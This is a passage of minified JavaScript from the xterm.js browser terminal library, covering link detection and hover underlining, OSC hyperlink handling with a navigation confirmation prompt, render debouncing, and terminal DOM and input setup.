n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.Linkifier2=void 0;const n=i(3656),o=i(8460),a=i(844),h=i(2585);let c=t.Linkifier2=class extends a.Disposable{get currentLink(){return this._currentLink}constructor(e){super(),this._bufferService=e,this._linkProviders=[],this._linkCacheDisposables=[],this._isMouseOut=!0,this._wasResized=!1,this._activeLine=-1,this._onShowLinkUnderline=this.register(new o.EventEmitter),this.onShowLinkUnderline=this._onShowLinkUnderline.event,this._onHideLinkUnderline=this.register(new o.EventEmitter),this.onHideLinkUnderline=this._onHideLinkUnderline.event,this.register((0,a.getDisposeArrayDisposable)(this._linkCacheDisposables)),this.register((0,a.toDisposable)((()=>{this._lastMouseEvent=void 0}))),this.register(this._bufferService.onResize((()=>{this._clearCurrentLink(),this._wasResized=!0})))}registerLinkProvider(e){return this._linkProviders.push(e),{dispose:()=>{const t=this._linkProviders.indexOf(e);-1!==t&&this._linkProviders.splice(t,1)}}}attachToDom(e,t,i){this._element=e,this._mouseService=t,this._renderService=i,this.register((0,n.addDisposableDomListener)(this._element,\"mouseleave\",(()=>{this._isMouseOut=!0,this._clearCurrentLink()}))),this.register((0,n.addDisposableDomListener)(this._element,\"mousemove\",this._handleMouseMove.bind(this))),this.register((0,n.addDisposableDomListener)(this._element,\"mousedown\",this._handleMouseDown.bind(this))),this.register((0,n.addDisposableDomListener)(this._element,\"mouseup\",this._handleMouseUp.bind(this)))}_handleMouseMove(e){if(this._lastMouseEvent=e,!this._element||!this._mouseService)return;const t=this._positionFromMouseEvent(e,this._element,this._mouseService);if(!t)return;this._isMouseOut=!1;const i=e.composedPath();for(let e=0;e<i.length;e++){const t=i[e];if(t.classList.contains(\"xterm\"))break;if(t.classList.contains(\"xterm-hover\"))return}this._lastBufferCell&&t.x===this._lastBufferCell.x&&t.y===this._lastBufferCell.y||(this._handleHover(t),this._lastBufferCell=t)}_handleHover(e){if(this._activeLine!==e.y||this._wasResized)return this._clearCurrentLink(),this._askForLink(e,!1),void(this._wasResized=!1);this._currentLink&&this._linkAtPosition(this._currentLink.link,e)||(this._clearCurrentLink(),this._askForLink(e,!0))}_askForLink(e,t){var i,s;this._activeProviderReplies&&t||(null===(i=this._activeProviderReplies)||void 0===i||i.forEach((e=>{null==e||e.forEach((e=>{e.link.dispose&&e.link.dispose()}))})),this._activeProviderReplies=new Map,this._activeLine=e.y);let r=!1;for(const[i,n]of this._linkProviders.entries())t?(null===(s=this._activeProviderReplies)||void 0===s?void 0:s.get(i))&&(r=this._checkLinkProviderResult(i,e,r)):n.provideLinks(e.y,(t=>{var s,n;if(this._isMouseOut)return;const o=null==t?void 0:t.map((e=>({link:e})));null===(s=this._activeProviderReplies)||void 0===s||s.set(i,o),r=this._checkLinkProviderResult(i,e,r),(null===(n=this._activeProviderReplies)||void 0===n?void 0:n.size)===this._linkProviders.length&&this._removeIntersectingLinks(e.y,this._activeProviderReplies)}))}_removeIntersectingLinks(e,t){const i=new Set;for(let s=0;s<t.size;s++){const r=t.get(s);if(r)for(let t=0;t<r.length;t++){const s=r[t],n=s.link.range.start.y<e?0:s.link.range.start.x,o=s.link.range.end.y>e?this._bufferService.cols:s.link.range.end.x;for(let e=n;e<=o;e++){if(i.has(e)){r.splice(t--,1);break}i.add(e)}}}}_checkLinkProviderResult(e,t,i){var s;if(!this._activeProviderReplies)return i;const r=this._activeProviderReplies.get(e);let n=!1;for(let t=0;t<e;t++)this._activeProviderReplies.has(t)&&!this._activeProviderReplies.get(t)||(n=!0);if(!n&&r){const e=r.find((e=>this._linkAtPosition(e.link,t)));e&&(i=!0,this._handleNewLink(e))}if(this._activeProviderReplies.size===this._linkProviders.length&&!i)for(let e=0;e<this._activeProviderReplies.size;e++){const r=null===(s=this._activeProviderReplies.get(e))||void 0===s?void 0:s.find((e=>this._linkAtPosition(e.link,t)));if(r){i=!0,this._handleNewLink(r);break}}return i}_handleMouseDown(){this._mouseDownLink=this._currentLink}_handleMouseUp(e){if(!this._element||!this._mouseService||!this._currentLink)return;const t=this._positionFromMouseEvent(e,this._element,this._mouseService);t&&this._mouseDownLink===this._currentLink&&this._linkAtPosition(this._currentLink.link,t)&&this._currentLink.link.activate(e,this._currentLink.link.text)}_clearCurrentLink(e,t){this._element&&this._currentLink&&this._lastMouseEvent&&(!e||!t||this._currentLink.link.range.start.y>=e&&this._currentLink.link.range.end.y<=t)&&(this._linkLeave(this._element,this._currentLink.link,this._lastMouseEvent),this._currentLink=void 0,(0,a.disposeArray)(this._linkCacheDisposables))}_handleNewLink(e){if(!this._element||!this._lastMouseEvent||!this._mouseService)return;const t=this._positionFromMouseEvent(this._lastMouseEvent,this._element,this._mouseService);t&&this._linkAtPosition(e.link,t)&&(this._currentLink=e,this._currentLink.state={decorations:{underline:void 0===e.link.decorations||e.link.decorations.underline,pointerCursor:void 0===e.link.decorations||e.link.decorations.pointerCursor},isHovered:!0},this._linkHover(this._element,e.link,this._lastMouseEvent),e.link.decorations={},Object.defineProperties(e.link.decorations,{pointerCursor:{get:()=>{var e,t;return null===(t=null===(e=this._currentLink)||void 0===e?void 0:e.state)||void 0===t?void 0:t.decorations.pointerCursor},set:e=>{var t,i;(null===(t=this._currentLink)||void 0===t?void 0:t.state)&&this._currentLink.state.decorations.pointerCursor!==e&&(this._currentLink.state.decorations.pointerCursor=e,this._currentLink.state.isHovered&&(null===(i=this._element)||void 0===i||i.classList.toggle(\"xterm-cursor-pointer\",e)))}},underline:{get:()=>{var e,t;return null===(t=null===(e=this._currentLink)||void 0===e?void 0:e.state)||void 0===t?void 0:t.decorations.underline},set:t=>{var i,s,r;(null===(i=this._currentLink)||void 0===i?void 0:i.state)&&(null===(r=null===(s=this._currentLink)||void 0===s?void 0:s.state)||void 0===r?void 0:r.decorations.underline)!==t&&(this._currentLink.state.decorations.underline=t,this._currentLink.state.isHovered&&this._fireUnderlineEvent(e.link,t))}}}),this._renderService&&this._linkCacheDisposables.push(this._renderService.onRenderedViewportChange((e=>{if(!this._currentLink)return;const t=0===e.start?0:e.start+1+this._bufferService.buffer.ydisp,i=this._bufferService.buffer.ydisp+1+e.end;if(this._currentLink.link.range.start.y>=t&&this._currentLink.link.range.end.y<=i&&(this._clearCurrentLink(t,i),this._lastMouseEvent&&this._element)){const e=this._positionFromMouseEvent(this._lastMouseEvent,this._element,this._mouseService);e&&this._askForLink(e,!1)}}))))}_linkHover(e,t,i){var s;(null===(s=this._currentLink)||void 0===s?void 0:s.state)&&(this._currentLink.state.isHovered=!0,this._currentLink.state.decorations.underline&&this._fireUnderlineEvent(t,!0),this._currentLink.state.decorations.pointerCursor&&e.classList.add(\"xterm-cursor-pointer\")),t.hover&&t.hover(i,t.text)}_fireUnderlineEvent(e,t){const i=e.range,s=this._bufferService.buffer.ydisp,r=this._createLinkUnderlineEvent(i.start.x-1,i.start.y-s-1,i.end.x,i.end.y-s-1,void 0);(t?this._onShowLinkUnderline:this._onHideLinkUnderline).fire(r)}_linkLeave(e,t,i){var s;(null===(s=this._currentLink)||void 0===s?void 0:s.state)&&(this._currentLink.state.isHovered=!1,this._currentLink.state.decorations.underline&&this._fireUnderlineEvent(t,!1),this._currentLink.state.decorations.pointerCursor&&e.classList.remove(\"xterm-cursor-pointer\")),t.leave&&t.leave(i,t.text)}_linkAtPosition(e,t){const i=e.range.start.y*this._bufferService.cols+e.range.start.x,s=e.range.end.y*this._bufferService.cols+e.range.end.x,r=t.y*this._bufferService.cols+t.x;return i<=r&&r<=s}_positionFromMouseEvent(e,t,i){const s=i.getCoords(e,t,this._bufferService.cols,this._bufferService.rows);if(s)return{x:s[0],y:s[1]+this._bufferService.buffer.ydisp}}_createLinkUnderlineEvent(e,t,i,s,r){return{x1:e,y1:t,x2:i,y2:s,cols:this._bufferService.cols,fg:r}}};t.Linkifier2=c=s([r(0,h.IBufferService)],c)},9042:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.tooMuchOutput=t.promptLabel=void 0,t.promptLabel=\"Terminal input\",t.tooMuchOutput=\"Too much output to announce, navigate to rows manually to read\"},3730:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.OscLinkProvider=void 0;const n=i(511),o=i(2585);let a=t.OscLinkProvider=class{constructor(e,t,i){this._bufferService=e,this._optionsService=t,this._oscLinkService=i}provideLinks(e,t){var i;const s=this._bufferService.buffer.lines.get(e-1);if(!s)return void t(void 0);const r=[],o=this._optionsService.rawOptions.linkHandler,a=new n.CellData,c=s.getTrimmedLength();let l=-1,d=-1,_=!1;for(let t=0;t<c;t++)if(-1!==d||s.hasContent(t)){if(s.loadCell(t,a),a.hasExtendedAttrs()&&a.extended.urlId){if(-1===d){d=t,l=a.extended.urlId;continue}_=a.extended.urlId!==l}else-1!==d&&(_=!0);if(_||-1!==d&&t===c-1){const s=null===(i=this._oscLinkService.getLinkData(l))||void 0===i?void 0:i.uri;if(s){const i={start:{x:d+1,y:e},end:{x:t+(_||t!==c-1?0:1),y:e}};let n=!1;if(!(null==o?void 0:o.allowNonHttpProtocols))try{const e=new URL(s);[\"http:\",\"https:\"].includes(e.protocol)||(n=!0)}catch(e){n=!0}n||r.push({text:s,range:i,activate:(e,t)=>o?o.activate(e,t,i):h(0,t),hover:(e,t)=>{var s;return null===(s=null==o?void 0:o.hover)||void 0===s?void 0:s.call(o,e,t,i)},leave:(e,t)=>{var s;return null===(s=null==o?void 0:o.leave)||void 0===s?void 0:s.call(o,e,t,i)}})}_=!1,a.hasExtendedAttrs()&&a.extended.urlId?(d=t,l=a.extended.urlId):(d=-1,l=-1)}}t(r)}};function h(e,t){if(confirm(`Do you want to navigate to ${t}?\\n\\nWARNING: This link could potentially be dangerous`)){const e=window.open();if(e){try{e.opener=null}catch(e){}e.location.href=t}else console.warn(\"Opening link blocked as opener could not be cleared\")}}t.OscLinkProvider=a=s([r(0,o.IBufferService),r(1,o.IOptionsService),r(2,o.IOscLinkService)],a)},6193:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.RenderDebouncer=void 0,t.RenderDebouncer=class{constructor(e,t){this._parentWindow=e,this._renderCallback=t,this._refreshCallbacks=[]}dispose(){this._animationFrame&&(this._parentWindow.cancelAnimationFrame(this._animationFrame),this._animationFrame=void 0)}addRefreshCallback(e){return this._refreshCallbacks.push(e),this._animationFrame||(this._animationFrame=this._parentWindow.requestAnimationFrame((()=>this._innerRefresh()))),this._animationFrame}refresh(e,t,i){this._rowCount=i,e=void 0!==e?e:0,t=void 0!==t?t:this._rowCount-1,this._rowStart=void 0!==this._rowStart?Math.min(this._rowStart,e):e,this._rowEnd=void 0!==this._rowEnd?Math.max(this._rowEnd,t):t,this._animationFrame||(this._animationFrame=this._parentWindow.requestAnimationFrame((()=>this._innerRefresh())))}_innerRefresh(){if(this._animationFrame=void 0,void 0===this._rowStart||void 0===this._rowEnd||void 0===this._rowCount)return void this._runRefreshCallbacks();const e=Math.max(this._rowStart,0),t=Math.min(this._rowEnd,this._rowCount-1);this._rowStart=void 0,this._rowEnd=void 0,this._renderCallback(e,t),this._runRefreshCallbacks()}_runRefreshCallbacks(){for(const e of this._refreshCallbacks)e(0);this._refreshCallbacks=[]}}},5596:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.ScreenDprMonitor=void 0;const s=i(844);class r extends s.Disposable{constructor(e){super(),this._parentWindow=e,this._currentDevicePixelRatio=this._parentWindow.devicePixelRatio,this.register((0,s.toDisposable)((()=>{this.clearListener()})))}setListener(e){this._listener&&this.clearListener(),this._listener=e,this._outerListener=()=>{this._listener&&(this._listener(this._parentWindow.devicePixelRatio,this._currentDevicePixelRatio),this._updateDpr())},this._updateDpr()}_updateDpr(){var e;this._outerListener&&(null===(e=this._resolutionMediaMatchList)||void 0===e||e.removeListener(this._outerListener),this._currentDevicePixelRatio=this._parentWindow.devicePixelRatio,this._resolutionMediaMatchList=this._parentWindow.matchMedia(`screen and (resolution: ${this._parentWindow.devicePixelRatio}dppx)`),this._resolutionMediaMatchList.addListener(this._outerListener))}clearListener(){this._resolutionMediaMatchList&&this._listener&&this._outerListener&&(this._resolutionMediaMatchList.removeListener(this._outerListener),this._resolutionMediaMatchList=void 0,this._listener=void 0,this._outerListener=void 0)}}t.ScreenDprMonitor=r},3236:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.Terminal=void 0;const s=i(3614),r=i(3656),n=i(6465),o=i(9042),a=i(3730),h=i(1680),c=i(3107),l=i(5744),d=i(2950),_=i(1296),u=i(428),f=i(4269),v=i(5114),p=i(8934),g=i(3230),m=i(9312),S=i(4725),C=i(6731),b=i(8055),y=i(8969),w=i(8460),E=i(844),k=i(6114),L=i(8437),D=i(2584),R=i(7399),x=i(5941),A=i(9074),B=i(2585),T=i(5435),M=i(4567),O=\"undefined\"!=typeof window?window.document:null;class P extends y.CoreTerminal{get onFocus(){return this._onFocus.event}get onBlur(){return this._onBlur.event}get onA11yChar(){return this._onA11yCharEmitter.event}get onA11yTab(){return this._onA11yTabEmitter.event}get onWillOpen(){return this._onWillOpen.event}constructor(e={}){super(e),this.browser=k,this._keyDownHandled=!1,this._keyDownSeen=!1,this._keyPressHandled=!1,this._unprocessedDeadKey=!1,this._accessibilityManager=this.register(new E.MutableDisposable),this._onCursorMove=this.register(new w.EventEmitter),this.onCursorMove=this._onCursorMove.event,this._onKey=this.register(new w.EventEmitter),this.onKey=this._onKey.event,this._onRender=this.register(new w.EventEmitter),this.onRender=this._onRender.event,this._onSelectionChange=this.register(new w.EventEmitter),this.onSelectionChange=this._onSelectionChange.event,this._onTitleChange=this.register(new w.EventEmitter),this.onTitleChange=this._onTitleChange.event,this._onBell=this.register(new w.EventEmitter),this.onBell=this._onBell.event,this._onFocus=this.register(new w.EventEmitter),this._onBlur=this.register(new w.EventEmitter),this._onA11yCharEmitter=this.register(new w.EventEmitter),this._onA11yTabEmitter=this.register(new w.EventEmitter),this._onWillOpen=this.register(new w.EventEmitter),this._setup(),this.linkifier2=this.register(this._instantiationService.createInstance(n.Linkifier2)),this.linkifier2.registerLinkProvider(this._instantiationService.createInstance(a.OscLinkProvider)),this._decorationService=this._instantiationService.createInstance(A.DecorationService),this._instantiationService.setService(B.IDecorationService,this._decorationService),this.register(this._inputHandler.onRequestBell((()=>this._onBell.fire()))),this.register(this._inputHandler.onRequestRefreshRows(((e,t)=>this.refresh(e,t)))),this.register(this._inputHandler.onRequestSendFocus((()=>this._reportFocus()))),this.register(this._inputHandler.onRequestReset((()=>this.reset()))),this.register(this._inputHandler.onRequestWindowsOptionsReport((e=>this._reportWindowsOptions(e)))),this.register(this._inputHandler.onColor((e=>this._handleColorEvent(e)))),this.register((0,w.forwardEvent)(this._inputHandler.onCursorMove,this._onCursorMove)),this.register((0,w.forwardEvent)(this._inputHandler.onTitleChange,this._onTitleChange)),this.register((0,w.forwardEvent)(this._inputHandler.onA11yChar,this._onA11yCharEmitter)),this.register((0,w.forwardEvent)(this._inputHandler.onA11yTab,this._onA11yTabEmitter)),this.register(this._bufferService.onResize((e=>this._afterResize(e.cols,e.rows)))),this.register((0,E.toDisposable)((()=>{var e,t;this._customKeyEventHandler=void 0,null===(t=null===(e=this.element)||void 0===e?void 0:e.parentNode)||void 0===t||t.removeChild(this.element)})))}_handleColorEvent(e){if(this._themeService)for(const t of e){let e,i=\"\";switch(t.index){case 256:e=\"foreground\",i=\"10\";break;case 257:e=\"background\",i=\"11\";break;case 258:e=\"cursor\",i=\"12\";break;default:e=\"ansi\",i=\"4;\"+t.index}switch(t.type){case 0:const s=b.color.toColorRGB(\"ansi\"===e?this._themeService.colors.ansi[t.index]:this._themeService.colors[e]);this.coreService.triggerDataEvent(`${D.C0.ESC}]${i};${(0,x.toRgbString)(s)}${D.C1_ESCAPED.ST}`);break;case 1:if(\"ansi\"===e)this._themeService.modifyColors((e=>e.ansi[t.index]=b.rgba.toColor(...t.color)));else{const i=e;this._themeService.modifyColors((e=>e[i]=b.rgba.toColor(...t.color)))}break;case 2:this._themeService.restoreColor(t.index)}}}_setup(){super._setup(),this._customKeyEventHandler=void 0}get buffer(){return this.buffers.active}focus(){this.textarea&&this.textarea.focus({preventScroll:!0})}_handleScreenReaderModeOptionChange(e){e?!this._accessibilityManager.value&&this._renderService&&(this._accessibilityManager.value=this._instantiationService.createInstance(M.AccessibilityManager,this)):this._accessibilityManager.clear()}_handleTextAreaFocus(e){this.coreService.decPrivateModes.sendFocus&&this.coreService.triggerDataEvent(D.C0.ESC+\"[I\"),this.updateCursorStyle(e),this.element.classList.add(\"focus\"),this._showCursor(),this._onFocus.fire()}blur(){var e;return null===(e=this.textarea)||void 0===e?void 0:e.blur()}_handleTextAreaBlur(){this.textarea.value=\"\",this.refresh(this.buffer.y,this.buffer.y),this.coreService.decPrivateModes.sendFocus&&this.coreService.triggerDataEvent(D.C0.ESC+\"[O\"),this.element.classList.remove(\"focus\"),this._onBlur.fire()}_syncTextArea(){if(!this.textarea||!this.buffer.isCursorInViewport||this._compositionHelper.isComposing||!this._renderService)return;const e=this.buffer.ybase+this.buffer.y,t=this.buffer.lines.get(e);if(!t)return;const i=Math.min(this.buffer.x,this.cols-1),s=this._renderService.dimensions.css.cell.height,r=t.getWidth(i),n=this._renderService.dimensions.css.cell.width*r,o=this.buffer.y*this._renderService.dimensions.css.cell.height,a=i*this._renderService.dimensions.css.cell.width;this.textarea.style.left=a+\"px\",this.textarea.style.top=o+\"px\",this.textarea.style.width=n+\"px\",this.textarea.style.height=s+\"px\",this.textarea.style.lineHeight=s+\"px\",this.textarea.style.zIndex=\"-5\"}_initGlobal(){this._bindKeys(),this.register((0,r.addDisposableDomListener)(this.element,\"copy\",(e=>{this.hasSelection()&&(0,s.copyHandler)(e,this._selectionService)})));const e=e=>(0,s.handlePasteEvent)(e,this.textarea,this.coreService,this.optionsService);this.register((0,r.addDisposableDomListener)(this.textarea,\"paste\",e)),this.register((0,r.addDisposableDomListener)(this.element,\"paste\",e)),k.isFirefox?this.register((0,r.addDisposableDomListener)(this.element,\"mousedown\",(e=>{2===e.button&&(0,s.rightClickHandler)(e,this.textarea,this.screenElement,this._selectionService,this.options.rightClickSelectsWord)}))):this.register((0,r.addDisposableDomListener)(this.element,\"contextmenu\",(e=>{(0,s.rightClickHandler)(e,this.textarea,this.screenElement,this._selectionService,this.options.rightClickSelectsWord)}))),k.isLinux&&this.register((0,r.addDisposableDomListener)(this.element,\"auxclick\",(e=>{1===e.button&&(0,s.moveTextAreaUnderMouseCursor)(e,this.textarea,this.screenElement)})))}_bindKeys(){this.register((0,r.addDisposableDomListener)(this.textarea,\"keyup\",(e=>this._keyUp(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,\"keydown\",(e=>this._keyDown(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,\"keypress\",(e=>this._keyPress(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,\"compositionstart\",(()=>this._compositionHelper.compositionstart()))),this.register((0,r.addDisposableDomListener)(this.textarea,\"compositionupdate\",(e=>this._compositionHelper.compositionupdate(e)))),this.register((0,r.addDisposableDomListener)(this.textarea,\"compositionend\",(()=>this._compositionHelper.compositionend()))),this.register((0,r.addDisposableDomListener)(this.textarea,\"input\",(e=>this._inputEvent(e)),!0)),this.register(this.onRender((()=>this._compositionHelper.updateCompositionElements())))}open(e){var t;if(!e)throw new Error(\"Terminal requires a parent element.\");e.isConnected||this._logService.debug(\"Terminal.open was called on an element that was not attached to the DOM\"),this._document=e.ownerDocument,this.element=this._document.createElement(\"div\"),this.element.dir=\"ltr\",this.element.classList.add(\"terminal\"),this.element.classList.add(\"xterm\"),e.appendChild(this.element);const i=O.createDocumentFragment();this._viewportElement=O.createElement(\"div\"),this._viewportElement.classList.add(\"xterm-viewport\"),i.appendChild(this._viewportElement),this._viewportScrollArea=O.createElement(\"div\"),this._viewportScrollArea.classList.add(\"xterm-scroll-area\"),this._viewportElement.appendChild(this._viewportScrollArea),this.screenElement=O.createElement(\"div\"),this.screenElement.classList.add(\"xterm-screen\"),this._helperContainer=O.createElement(\"div\"),this._helperContainer.classList.add(\"xterm-helpers\"),this.screenElement.appendChild(this._helperContainer),i.appendChild(this.screenElement),this.textarea=O.createElement(\"textarea\"),this.textarea.classList.add(\"xterm-helper-textarea\"),this.textarea.setAttribute(\"aria-label\",o.promptLabel),k.isChromeOS||this.textarea.setAttribute(\"aria-multiline\",\"false\"),this.textarea.setAttribute(\"autocorrect\",\"off\"),this.textarea.setAttribute(\"autocapitalize\",\"off\"),this.textarea.setAttribute(\"spellcheck\",\"false\"),this.textarea.tabIndex=0,this._coreBrowserService=this._instantiationService.createInstance(v.CoreBrowserService,this.textarea,null!==(t=this._document.defaultView)&&void 0!==t?t:window),this._instantiationService.setService(S.ICoreBrowserService,this._coreBrowserService),this.register((0,r.addDisposableDomListener)(this.textarea,\"focus\",(e=>this._handleTextAreaFocus(e)))),this.register((0,r.addDisposableDomListener)(this.textarea,\"blur\",(()=>this._handleTextAreaBlur()))),this._helperContainer.appendChild(this.textarea),this._charSizeService=this._instantiationService.createInstance(u.CharSizeService,this._document,this._helperContainer),this._instantiationService.setService(S.ICharSizeService,this._charSizeService),this._themeService=this._instantiationService.createInstance(C.ThemeService),this._instantiationService.setService(S.IThemeService,this._themeService),this._characterJoinerService=this._instantiationService.createInstance(f.CharacterJoinerService),this._instantiationService.setService(S.ICharacterJoinerService,this._characterJoinerService),this._renderService=this.register(this._instantiationService.createInstance(g.RenderService,this.rows,this.screenElement)),this._instantiationService.setService(S.IRenderService,this._renderService),this.register(this._renderService.onRenderedViewportChange((e=>this._onRender.fire(e)))),this.onResize((e=>this._renderService.resize(e.cols,e.rows))),this._compositionView=O.createElement(\"div\"),this._compositionView.classList.add(\"composition-view\"),this._compositionHelper=this._instantiationService.createInstance(d.CompositionHelper,this.textarea,this._compositionView),this._helperContainer.appendChild(this._compositionView),this.element.appendChild(i);try{this._onWillOpen.fire(this.element)}catch(e){}this._renderService.hasRenderer()||this._renderService.setRenderer(this._createRenderer()),this._mouseService=this._instantiationService.createInstance(p.MouseService),this._instantiationService.setService(S.IMouseService,this._mouseService),this.viewport=this._instantiationService.createInstance(h.Viewport,this._viewportElement,this._viewportScrollArea),this.viewport.onRequestScrollLines((e=>this.scrollLines(e.amount,e.suppressScrollEvent,1))),this.register(this._inputHandler.onRequestSyncScrollBar((()=>this.viewport.syncScrollArea()))),this.register(this.viewport),this.register(this.onCursorMove((()=>{this._renderService.handleCursorMove(),this._syncTextArea()}))),this.register(this.onResize((()=>this._renderService.handleResize(this.cols,this.rows)))),this.register(this.onBlur((()=>this._renderService.handleBlur()))),this.register(this.onFocus((()=>this._renderService.handleFocus()))),this.register(this._renderService.onDimensionsChange((()=>this.viewport.syncScrollArea()))),this._selectionService=this.register(this._instantiationService.createInstance(m.SelectionService,this.element,this.screenElement,this.linkifier2)),this._instantiationService.setService(S.ISelectionService,this._selectionService),this.register(this._selectionService.onRequestScrollLines((e=>this.scrollLines(e.amount,e.suppressScrollEvent)))),this.register(this._selectionService.onSelectionChange((()=>this._onSelectionChange.fire()))),this.register(this._selectionService.onRequestRedraw((e=>this._renderService.handleSelectionChanged(e.start,e.end,e.columnSelectMode)))),this.register(this._selectionService.onLinuxMouseSelection((e=>{this.textarea.value=e,this.textarea.focus(),this.textarea.select()}))),this.register(this._onScroll.event((e=>{this.viewport.syncScrollArea(),this._selectionService.refresh()}))),this.register((0,r.addDisposableDomListener)(this._viewportElement,\"scroll\",(()=>this._selectionService.refresh()))),this.linkifier2.attachToDom(this.screenElement,this._mouseService,this._renderService),this.register(this._instantiationService.createInstance(c.BufferDecorationRenderer,this.screenElement)),this.register((0,r.addDisposableDomListener)(this.element,\"mousedown\",(e=>this._selectionService.handleMouseDown(e)))),this.coreMouseService.areMouseEventsActive?(this._selectionService.disable(),this.element.classList.add(\"enable-mouse-events\")):this._selectionService.enable(),this.options.screenReaderMode&&(this._accessibilityManager.value=this._instantiationService.createInstance(M.AccessibilityManager,this)),this.register(this.optionsService.onSpecificOptionChange(\"screenReaderMode\",(e=>this._handleScreenReaderModeOptionChange(e)))),this.options.overviewRulerWidth&&(this._overviewRulerRenderer=this.register(this._instantiationService.createInstance(l.OverviewRulerRenderer,this._viewportElement,this.screenElement))),this.optionsService.onSpecificOptionChange(\"overviewRulerWidth\",(e=>{!this._overviewRulerRenderer&&e&&this._viewportElement&&this.screenElement&&(this._overviewRulerRenderer=this.register(this._instantiationService.createInstance(l.OverviewRulerRenderer,this._viewportElement,this.screenElement)))})),this._charSizeService.measure(),this.refresh(0,this.rows-1),this._initGlobal(),this.bindMouse()}_createRenderer(){return this._instantiationService.createInstance(_.DomRenderer,this.element,this.screenElement,this._viewportElement,this.linkifier2)}bindMouse(){const e=this,t=this.element;function i(t){const i=e._mouseService.getMouseReportCoords(t,e.screenElement);if(!i)return!1;let s,r;switch(t.overrideType||t.type){case\"mousemove\":r=32,void 0===t.buttons?(s=3,void 0!==t.button&&(s=t.button<3?t.button:3)):s=1&t.buttons?0:4&t.buttons?1:2&t.buttons?2:3;break;case\"mouseup\":r=0,s=t.button<3?t.button:3;break;case\"mousedown\":r=1,s=t.button<3?t.button:3;break;case\"wheel\":if(0===e.viewport.getLinesScrolled(t))return!1;r=t.deltaY<0?0:1,s=4;break;default:return!1}return!(void 0===r||void 0===s||s>4)&&e.coreMouseService.triggerMouseEvent({col:i.col,row:i.row,x:i.x,y:i.y,button:s,action:r,ctrl:t.ctrlKey,alt:t.altKey,shift:t.shiftKey})}const s={mouseup:null,wheel:null,mousedrag:null,mousemove:null},n={mouseup:e=>(i(e),e.buttons||(this._document.removeEventListener(\"mouseup\",s.mouseup),s.mousedrag&&this._document.removeEventListener(\"mousemove\",s.mousedrag)),this.cancel(e)),wheel:e=>(i(e),this.cancel(e,!0)),mousedrag:e=>{e.buttons&&i(e)},mousemove:e=>{e.buttons||i(e)}};this.register(this.coreMouseService.onProtocolChange((e=>{e?(\"debug\"===this.optionsService.rawOptions.logLevel&&this._logService.debug(\"Binding to mouse events:\",this.coreMouseService.explainEvents(e)),this.element.classList.add(\"enable-mouse-events\"),this._selectionService.disable()):(this._logService.debug(\"Unbinding from mouse events.\"),this.element.classList.remove(\"enable-mouse-events\"),this._selectionService.enable()),8&e?s.mousemove||(t.addEventListener(\"mousemove\",n.mousemove),s.mousemove=n.mousemove):(t.removeEventListener(\"mousemove\",s.mousemove),s.mousemove=null),16&e?s.wheel||(t.addEventListener(\"wheel\",n.wheel,{passive:!1}),s.wheel=n.wheel):(t.removeEventListener(\"wheel\",s.wheel),s.wheel=null),2&e?s.mouseup||(t.addEventListener(\"mouseup\",n.mouseup),s.mouseup=n.mouseup):(this._document.removeEventListener(\"mouseup\",s.mouseup),t.removeEventListener(\"mouseup\",s.mouseup),s.mouseup=null),4&e?s.mousedrag||(s.mousedrag=n.mousedrag):(this._document.removeEventListener(\"mousemove\",s.mousedrag),s.mousedrag=null)}))),this.coreMouseService.activeProtocol=this.coreMouseService.activeProtocol,this.register((0,r.addDisposableDomListener)(t,\"mousedown\",(e=>{if(e.preventDefault(),this.focus(),this.coreMouseService.areMouseEventsActive&&!this._selectionService.shouldForceSelection(e))return i(e),s.mouseup&&this._document.addEventListener(\"mouseup\",s.mouseup),s.mousedrag&&this._document.addEventListener(\"mousemove\",s.mousedrag),this.cancel(e)}))),this.register((0,r.addDisposableDomListener)(t,\"wheel\",(e=>{if(!s.wheel){if(!this.buffer.hasScrollback){const t=this.viewport.getLinesScrolled(e);if(0===t)return;const i=D.C0.ESC+(this.coreService.decPrivateModes.applicationCursorKeys?\"O\":\"[\")+(e.deltaY<0?\"A\":\"B\");let s=\"\";for(let e=0;e<Math.abs(t);e++)s+=i;return this.coreService.triggerDataEvent(s,!0),this.cancel(e,!0)}return this.viewport.handleWheel(e)?this.cancel(e):void 0}}),{passive:!1})),this.register((0,r.addDisposableDomListener)(t,\"touchstart\",(e=>{if(!this.coreMouseService.areMouseEventsActive)return this.viewport.handleTouchStart(e),this.cancel(e)}),{passive:!0})),this.register((0,r.addDisposableDomListener)(t,\"touchmove\",(e=>{if(!this.coreMouseService.areMouseEventsActive)return this.viewport.handleTouchMove(e)?void 0:this.cancel(e)}),{passive:!1}))}refresh(e,t){var i;null===(i=this._renderService)||void 0===i||i.refreshRows(e,t)}updateCursorStyle(e){var t;(null===(t=this._selectionService)||void 0===t?void 0:t.shouldColumnSelect(e))?this.element.classList.add(\"column-select\"):this.element.classList.remove(\"column-select\")}_showCursor(){this.coreService.isCursorInitialized||(this.coreService.isCursorInitialized=!0,this.refresh(this.buffer.y,this.buffer.y))}scrollLines(e,t,i=0){var s;1===i?(super.scrollLines(e,t,i),this.refresh(0,this.rows-1)):null===(s=this.viewport)||void 0===s||s.scrollLines(e)}paste(e){(0,s.paste)(e,this.textarea,this.coreService,this.optionsService)}attachCustomKeyEventHandler(e){this._customKeyEventHandler=e}registerLinkProvider(e){return this.linkifier2.registerLinkProvider(e)}registerCharacterJoiner(e){if(!this._characterJoinerService)throw new Error(\"Terminal must be opened first\");const t=this._characterJoinerService.register(e);return 